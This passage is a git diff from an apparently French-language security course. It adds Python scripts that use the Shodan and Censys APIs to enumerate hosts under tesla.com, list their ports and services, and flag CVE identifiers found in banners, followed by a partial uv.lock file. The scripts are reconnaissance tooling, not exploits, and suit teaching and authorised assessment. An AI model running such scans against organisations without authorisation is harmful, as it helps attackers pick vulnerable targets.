'os': results.get('os', None), + 'org': results.get('org', 'Unknown'), + 'last_update': datetime.now().isoformat(), + 'banners': [], + 'vulnerabilities': [] + } + except shodan.APIError as e: + return { + 'ip': ip_address, + 'error': str(e), + 'ports': [], + 'services': {}, + 'os': None, + 'org': 'Unknown', + 'last_update': datetime.now().isoformat(), + 'banners': [] + } + + +def extract_service_info(shodan_data): + """Extract and organize service information from Shodan data.""" + services = {} + + if not shodan_data or 'ports' not in shodan_data: + return services + + for port_entry in shodan_data.get('ports', []): + port_num = port_entry.get('port') + banner = port_entry.get('banner', '') + + service_info = { + 'port': port_num, + 'protocol': port_entry.get('transport', 'tcp'), + 'service': port_entry.get('name', 'unknown'), + 'version': port_entry.get('product') or port_entry.get('version', 'unknown'), + 'banners': [] + } + + if banner: + try: + banner_lines = banner.split('\n') + service_info['banners'].append({ + 'raw': '\n'.join(banner_lines[:10]), + 'hostname': port_entry.get('host', ''), + 'app': port_entry.get('app', '') + }) + + banner_upper = banner.upper() + if 'TLS' in banner_upper or 'SSL' in banner_upper: + service_info['ssl'] = True + except Exception: + pass + + services[str(port_num)] = service_info + + return services + + +def detect_os_cves(os_string): + """Detect CVEs mentioned in OS information.""" + if not os_string: + return [] + + cve_pattern = r'(CVE-[0-9]{4}-[0-9]+)' + detected_cves = re.findall(cve_pattern, os_string) + + os_info = { + 'cves': detected_cves, + 'os_type': os_string.split(' ')[0] if os_string else None, + 'kernel_version': os_string.split(' (')[0].split('.')[-1] if ' (' in os_string else None + } + + return [{'cve_id': cve_id, 'source': 'OS', 'description': f'Potential vulnerability in {os_string}'} for cve_id in detected_cves] + + +def detect_service_cves(banners): + """Detect CVEs mentioned in service banners.""" + all_cves = [] + + if not banners: + return all_cves + + cve_pattern = r'(CVE-[0-9]{4}-[0-9]+)' + + for banner_info in banners: + raw_content = banner_info.get('raw', '') + + detected_cves = re.findall(cve_pattern, raw_content) + + if detected_cves: + for cve_id in detected_cves: + all_cves.append({ + 'cve_id': cve_id, + 'source': banner_info.get('app', 'Service'), + 'port': banner_info.get('port', 0), + 'description': f'Potential vulnerability found in {banner_info.get("hostname", "service")}' + }) + + return all_cves + + +def analyze_host_vulnerabilities(host_data): + """Analyze a host for vulnerabilities from OS and services.""" + detected_cves = [] + + os_cves = detect_os_cves(host_data.get('os')) + detected_cves.extend(os_cves) + + service_cves = detect_service_cves(host_data.get('banners', [])) + detected_cves.extend(service_cves) + + host_data['vulnerabilities'] = detected_cves + + return host_data + + +def scan_subdomain(subdomain, api_key): + """Scan all hosts associated with a subdomain.""" + api = shodan.Shodan(api_key) + + try: + results = api.search(f"hostname:{subdomain}") + + if not results.get('matches'): + return { + 'subdomain': subdomain, + 'hosts': [], + 'total_hosts': 0, + 'unique_services': set(), + 'vulnerable_hosts': [] + } + + hosts = [] + unique_ports = set() + all_services = set() + vulnerable_count = 0 + + for match in results['matches']: + ip = match.get('ip_str') + if not ip: + continue + + host_info = search_host_shodan(ip, api_key) + services = extract_service_info(host_info) + unique_ports.update(str(p) for p in host_info.get('ports', [])) + all_services.update(services.keys()) + vulnerable_host = analyze_host_vulnerabilities(host_info) + + if vulnerable_host['vulnerabilities']: + vulnerable_count += 1 + + hosts.append({ + 'ip': host_info['ip'], + 'org': host_info.get('org', 'Unknown'), + 'os': host_info.get('os'), + 'ports_count': len(host_info.get('ports', [])), + 'services': services, + 'banners': host_info.get('banners', []), + 'vulnerabilities': vulnerable_host['vulnerabilities'] + }) + + return { + 'subdomain': subdomain, + 'hosts': hosts, + 'total_hosts': len(hosts), + 'unique_ports': unique_ports, + 'unique_services': all_services, + 'vulnerable_hosts': vulnerable_count + } + + except shodan.APIError as e: + print(f"Error querying Shodan for {subdomain}: {e}", file=sys.stderr) + return { + 'subdomain': subdomain, + 'hosts': [], + 'total_hosts': 0, + 'unique_services': set(), + 'vulnerable_hosts': 0 + } + + +def generate_summary_report(all_results): + """Generate a summary of scan results.""" + total_hosts = sum(r['total_hosts'] for r in all_results) + unique_services = set() + vulnerable_hosts_count = 0 + + for result in all_results: + unique_services.update(result.get('unique_services', [])) + vulnerable_hosts_count += result.get('vulnerable_hosts', 0) + + hosts_with_cves = sum(1 for r in all_results if r['vulnerable_hosts'] > 0) + + return { + 'total_subdomains_scanned': len(all_results), + 'total_hosts_found': total_hosts, + 'unique_services_identified': len(unique_services), + 'hosts_with_cves': hosts_with_cves, + 'total_vulnerable_hosts': vulnerable_hosts_count, + 'scan_timestamp': datetime.now().isoformat() + } + + +def main(): + parser = argparse.ArgumentParser( + description="Enhanced Security Scanner for Tesla Subdomains using Shodan API", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + python tesla_security_scan.py -d tesla.com -s YOUR_API_KEY -o report.json + python tesla_security_scan.py -i subdomains.txt -s YOUR_API_KEY --json-output scan_results.json + """ + ) + + parser.add_argument( + "-d", "--domain", + dest="domain", + help="Single domain to scan (e.g., tesla.com)" + ) + parser.add_argument( + "-i", "--input-file", + dest="file_name", + help=".txt file containing subdomains to scan" + ) + parser.add_argument( + "-s", "--shodan-key", + dest="shodan_key", + required=True, + help="Shodan API Key" + ) + parser.add_argument( + "-o", "--json-output", + dest="json_output", + default=None, + help="Output JSON file for detailed results (default: console)" + ) + parser.add_argument( + "-q", "--quick-summary", + action="store_true", + help="Print quick summary only" + ) + + args = parser.parse_args() + + if not args.domain and not args.file_name: + print("Error: Please provide either -d (domain) or -i (input file)", file=sys.stderr) + parser.print_help() + sys.exit(1) + + try: + api = shodan.Shodan(args.shodan_key) + except shodan.APIError as e: + print(f"Error initializing Shodan API: {e}", file=sys.stderr) + sys.exit(1) + + if args.file_name: + subdomains = load_subdomains_from_file(args.file_name) + else: + subdomains = [args.domain] + + print(f"[*] Starting security scan for {len(subdomains)} target(s)...") + print(f"[+] API Key validated (Shodan)") + print() + + all_results = [] + total_hosts = 0 + total_services = set() + vulnerable_count = 0 + + for i, subdomain in enumerate(subdomains, 1): + print(f"[*] Scanning {i}/{len(subdomains)}: {subdomain}...") + + result = scan_subdomain(subdomain, args.shodan_key) + all_results.append(result) + + total_hosts += result['total_hosts'] + total_services.update(result.get('unique_services', [])) + vulnerable_count += result.get('vulnerable_hosts', 0) + + summary = generate_summary_report(all_results) + + if args.json_output: + full_report = { + 'summary': summary, + 'detailed_results': all_results + } + + with open(args.json_output, 'w', encoding='utf-8') as f: + json.dump(full_report, f, indent=2, ensure_ascii=False) + + print(f"\n[+] Detailed JSON report saved to: {args.json_output}") + + print("\n" + "=" * 70) + print("EXECUTIVE SECURITY SUMMARY") + print("=" * 70) + print() + + print(f"[INFO] Total Subdomains Scanned : {summary['total_subdomains_scanned']}") + print(f"[INFO] Total Hosts Identified : {summary['total_hosts_found']:.0f}") + print(f"[INFO] Unique Services Detected : {summary['unique_services_identified']:.0f}") + print() + + vuln_summary = summary.get('hosts_with_cves', 0) + total_vuln = summary.get('total_vulnerable_hosts', 0) + + if vuln_summary > 0: + print(f"[ALERT] Hosts with CVE Detection : {vuln_summary}") + print(f"[CRITICAL] Total Vulnerable Hosts : {total_vuln}") + + if total_vuln > 0: + vulnerability_rate = (total_vuln / summary['total_hosts_found'] * 100) if summary['total_hosts_found'] > 0 else 0 + print(f"[STAT] Vulnerability Rate : {vulnerability_rate:.2f}%") + elif total_hosts > 0: + print(f"[INFO] No CVEs Detected in {summary['total_subdomains_scanned']} hosts") + + print() + print("=" * 70) + print("SCAN COMPLETE") + print("=" * 70) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_10/Jour_01/tesla_recon_censys.py b/Semaine_10/Jour_01/tesla_recon_censys.py new file mode 100644 index 0000000..adb0103 --- /dev/null +++ b/Semaine_10/Jour_01/tesla_recon_censys.py @@ -0,0 +1,138 @@ +import sys, json, argparse +from datetime import datetime +import requests + +CENSYS_API_BASE = "https://api.platform.censys.io/v3" + +def search_host_censys(ip_address, token): + """ + Récupère les détails d'un hôte via l'API Censys avec un Personal Access Token. + Parce que les clefs API c'est pour ceux qui raquent. + """ + url = f"{CENSYS_API_BASE}/global/asset/host/{ip_address}" + headers = { + "Authorization": f"Bearer {token}", + "Accept": "application/json" + } + + try: + response = requests.get(url, headers=headers, timeout=10) + if response.status_code == 200: + data = response.json() + services = data.get('services', []) + + vulnerabilities = data.get('vulnerabilities', []) + for srv in services: + if isinstance(srv, dict) and srv.get('vulnerabilities'): + vulnerabilities.extend(srv['vulnerabilities']) + + has_cve = len(vulnerabilities) > 0 + + return { + 'ip': ip_address, + 'ports': [srv.get('port') for srv in services if isinstance(srv, dict) and srv.get('port')], + 'os': data.get('operating_system', {}).get('product', None), + 'org': data.get('autonomous_system', {}).get('name', 'Unknown'), + 'last_update': datetime.now().isoformat(), + 'services': services, + 'vulnerabilities': vulnerabilities, + 'potentially_vulnerable': has_cve + } + else: + return {'ip': ip_address, 'error': f"HTTP {response.status_code}", 'ports': [], 'services': [], 'potentially_vulnerable': False} + except Exception as e: + return {'ip': ip_address, 'error': str(e), 'ports': [], 'services': [], 'potentially_vulnerable': False} + +def scan_domain_censys(domain, token): + """ + Recherche tous les hôtes liés à un domaine via l'API Censys. + """ + url = f"{CENSYS_API_BASE}/global/search/query" + headers = { + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + "Accept": "application/json" + } + + payload = { + "query": f"host.names: {domain}", + "page_size": 50 + } + + try: + response = requests.post(url, headers=headers, json=payload, timeout=15) + if response.status_code != 200: + print(f"[-] Erreur API ({response.status_code}): {response.text}", file=sys.stderr) + return {'domain': domain, 'hosts': [], 'total_hosts': 0, 'unique_ports': set(), 'vulnerable_hosts': 0} + + data = response.json() + hits = data.get('results', []) + + hosts = [] + unique_ports = set() + vulnerable_hosts = 0 + + for hit in hits: + ip = hit.get('ip') or hit.get('host.ip') + if not ip: + continue + + host_info = search_host_censys(ip, token) + if 'error' in host_info: + continue + + unique_ports.update(str(p) for p in host_info['ports']) + if host_info.get('potentially_vulnerable'): + vulnerable_hosts += 1 + hosts.append(host_info) + + return { + 'domain': domain, + 'hosts': hosts, + 'total_hosts': len(hosts), + 'unique_ports': unique_ports, + 'vulnerable_hosts': vulnerable_hosts + } + except Exception as e: + print(f"[-] Erreur réseau : {e}", file=sys.stderr) + return {'domain': domain, 'hosts': [], 'total_hosts': 0, 'unique_ports': set(), 'vulnerable_hosts': 0} + +def main(): + parser = argparse.ArgumentParser(description="Scanner de sous-domaines générique pour l'API Censys") + parser.add_argument("-d", "--domain", default="example.com", help="Domaine cible à analyser") + parser.add_argument("-t", "--token", required=True, help="Votre Censys Personal Access Token") + parser.add_argument("-o", "--output", help="Nom du fichier de sortie JSON") + + args = parser.parse_args() + + print(f"[*] Démarrage du scan global pour : {args.domain}") + result = scan_domain_censys(args.domain, args.token) + + summary = { + 'scan_timestamp': datetime.now().isoformat(), + 'domain_scanned': args.domain, + 'total_hosts_found': result['total_hosts'], + 'vulnerable_hosts_found': result['vulnerable_hosts'] + } + + full_report = { + 'summary': summary, + 'detailed_results': result['hosts'] + } + + if args.output: + with open(args.output, 'w', encoding='utf-8') as f: + json.dump(full_report, f, indent=2, ensure_ascii=False) + print(f"[+] Rapport enregistré avec succès dans : {args.output}") + else: + results_print = "RÉSULTATS DE L'AUDIT PASSÉ (CENSYS)" + print(" ") + print("=" * len(results_print)) + print(results_print) + print("=" * len(results_print)) + print(f"[INFO] Hôtes uniques découverts : {summary['total_hosts_found']}") + print(f"[INFO] Hôtes vulnérables découverts : {summary['vulnerable_hosts_found']}") + print(f"[INFO] Ports distincts ouverts : {', '.join(result.get('unique_ports', []))}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_10/Jour_01/uv.lock b/Semaine_10/Jour_01/uv.lock new file mode 100644 index 0000000..1abb967 --- /dev/null +++ b/Semaine_10/Jour_01/uv.lock @@ -0,0 +1,302 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "argcomplete" +version = "3.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/38/61/0b9ae6399dd4a58d8c1b1dc5a27d6f2808023d0b5dd3104bb99f45a33ff6/argcomplete-3.6.3.tar.gz", hash = "sha256:62e8ed4fd6a45864acc8235409461b72c9a28ee785a2011cc5eb78318786c89c", size = 73754, upload-time = "2025-10-20T03:33:34.741Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/74/f5/9373290775639cb67a2fce7f629a1c240dce9f12fe927bc32b2736e16dfc/argcomplete-3.6.3-py3-none-any.whl", hash = "sha256:f5007b3a600ccac5d25bbce33089211dfd49eab4a7718da3f10e3082525a92ce", size = 43846, upload-time = "2025-10-20T03:33:33.021Z" }, +] + +[[package]] +name = "backoff" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/47/d7/5bbeb12c44d7c4f2fb5b56abce497eb5ed9f34d85701de869acedd602619/backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba", size = 17001, upload-time = "2022-10-05T19:19:32.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/73/b6e24bd22e6720ca8ee9a85a0c4a2971af8497d8f3193fa05390cbd46e09/backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8", size = 15148, upload-time = "2022-10-05T19:19:30.546Z" }, +] + +[[package]] +name = "censys" +version = "2.2.19" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "argcomplete" }, + { name = "backoff" }, + { name = "requests" }, + { name = "rich" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/41/aa/ed0d0faf4f7015bac902cdad929f487f9baefd224ab6fa9aba5635dd5d60/censys-2.2.19.tar.gz", hash = "sha256:9202e17c2583d4b3d0af32a5be161ddb505edd390a9ca909f2e7470d4af19a97", size = 62101, upload-time = "2025-12-11T16:08:47.421Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/66/4b/96c1ebc5f8534c18527c81b4df9cdb2a96151010f540ecbb4c9c2af4fee4/censys-2.2.19-py3-none-any.whl", hash = "sha256:eaad49779a3bbe290e244222563a48e78ca33777fbbdf6d329d8b52223fc1084", size = 80582, upload-time = "2025-12-11T16:08:46.368Z" }, +] + +[[package]] +name = "certifi" +version = "2026.5.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/ce/ee2ecad540810a79593028e88299baeae54d346cc7a0d94b6199988b89b1/certifi-2026.5.20.tar.gz", hash = "sha256:69dea482ab64caa7b9f6aba1c6bf48bb6a5448d1c0f1b17ab42ad8c763a5344d", size = 135422, upload-time = "2026-05-20T11:46:50.073Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/8c/57e832b7af6d7c5abe66eb3fbe3a3a32f4d11ea23a1aa7131371035be991/certifi-2026.5.20-py3-none-any.whl", hash = "sha256:3c52e209ba0a4ad7aebe60436a4ab349c39e1e602e8c134221e546902ad25897", size = 134134, upload-time = "2026-05-20T11:46:48.578Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = 